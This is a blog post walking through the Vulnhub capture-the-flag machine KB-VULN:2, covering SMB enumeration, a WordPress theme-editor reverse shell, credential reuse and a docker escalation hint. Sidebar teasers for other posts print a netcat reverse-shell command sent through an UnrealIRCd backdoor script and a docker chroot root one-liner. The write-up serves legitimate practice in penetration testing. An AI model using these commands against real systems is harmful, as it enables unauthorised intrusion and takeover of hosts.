KB-VULN: 2 - Walkthrough [Vulnhub]

Here's my solution for KB-VULN:2.
The machine can be downloaded from here.

Nmap
Scanning for all TCP ports.
$ nmap -sC -sV -p- 192.168.1.108


 

We find 5 ports open.

Enumeration
From nmap's output we see ports 139 and 445 (SMB) are open, we enumerate smb shares.
$ smbmap -H 192.168.1.108



We have access to share named as- Anonymous, so lets get the smb shell.
$ smbclient //192.168.1.108/Anonymous
and download the file- backup.zip.

After unzipping, we get a file named as- remember_me.txt and a folder named as- wordpress.

On viewing the contents of file- remember_me.txt, seems to be a credential.
$ cat remember_.txt
We keep this information, which can be used in further stage.


Browsing the web, and checking the source did not reveal any hint.


Using dirb to scan the directories.
$ dirb http://192.168.1.108 -r


Browsing /wordpress.


 
Checking the page source.

We map the ip to host name- kb.vuln, by editing the /etc/hosts file.


Browsing /wordpress/wp-login.php, here we enter the credential we found in file- remember_me.txt
Username: admin
Password: MachineBoy141

Since we are successfully logged in, we can upload/write and run the payload in order to get reverse shell. 

To do so, we can navigate to Appearance>Theme Editor, select the theme as- Twenty Nineteen and select the theme file as- 404.php to place php reverse shell payload.

Getting Access
To execute the payload we browse- /wordpress/wp-content/themes/twentynineteen/404.php
and on the other hand we start the netcat listener.


Privilege Escalation
From www-data>kbadmin.
We find a file- read_ME.txt, located under /var/www/html, which gives hint as the user- kbadmin. 

We can verify it by looking the /etc/passwd file.

 

Switching to user- kbadmin.
The password is same which we have found in file- remember_me.txt
$ su kbadmin
Password: MachineBoy141

User Flag.



We check the file- note.txt, which gives a hint to use docker for next privilege escalation.


We can also see that the user is a member of docker group.



From kbadmin>root



Root Flag.

 

Comments

Post a Comment

Popular posts from this blog

Sunset:Noontide - Walkthrough [Vulnhub]

Image
Here's my solution for Sunset:Noontide. The machine can be downloaded from here. Nmap Scanning for all TCP ports. $ nmap -sC -sV -p- 192.168.1.109 We find 3 ports (UnrealIRCd) open. Enumeration We search the exploit for UnrealIRCd and we find it here.     Getting Access To exploit we simply run the nmap command with the reverse shell payload and on the other hand we start the netcat listener. $ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='nc -e /bin/sh 192.168.1.108 1234' 192.168.1.109 We get the reverse shell. User Flag. Privilege Escalation We find that user- root has the default password- root. Lets switch to user- root and get the root flag. $ su root Password: root  
Read more

CyberSploit:2 - Walkthrough [Vulnhub]

Image
Here's my solution for CyberSploit:2. The Machine can be downloaded from here Nmap Starting with nmap scanning for all TCP open ports. nmap -sC -sV -p- 192.168.1.103 We find only 2 open ports. Enumeration Browsing the website, show list of usernames and passwords. Checking the source code reveal us a hint- ROT47. While browsing the website, we see a strange username- D92:=6?5C2 and its associated password as- 4J36CDA=@:E` From the hint we can guess that the username and password can be ROT47 encoded. Browsed Decode.fr to decode it, and we get the credentials as- username: shailendra password: cybersploit1 Getting Access Tried ssh with credential, and we get the access. ssh shailendra@192.168.1.1 password: cybersploit1 Found a file named as hint.txt, which gives a hint as docker, it can be used for privilege escalation, also the user is a member of docker group. Privilege Escalation docker run -v /:/mnt --rm -it alpine chroot /mnt sh And we get the flag
Read more